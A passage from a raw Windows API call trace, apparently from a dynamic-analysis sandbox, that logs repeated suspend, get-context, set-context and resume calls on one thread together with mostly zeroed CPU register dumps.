FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0170.072] SetThreadContext (hThread=0x1d8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019eac0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0170.072] ResumeThread (hThread=0x1d8) returned 0x1 [0170.072] CloseHandle (hObject=0x1d8) returned 1 [0170.072] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0170.177] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0170.293] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0170.294] SuspendThread (hThread=0x1d8) returned 0x0 [0170.294] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019e028, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f918da0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0170.294] SetThreadContext (hThread=0x1d8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019e020, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0170.295] ResumeThread (hThread=0x1d8) returned 0x1 [0170.295] CloseHandle (hObject=0x1d8) returned 1 [0170.295] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0170.400] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0170.504] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0170.611] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0170.612] SuspendThread (hThread=0x1d8) returned 0x0 [0170.612] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019e6c0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f77ffa0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0170.613] SetThreadContext (hThread=0x1d8, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019e6b8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, 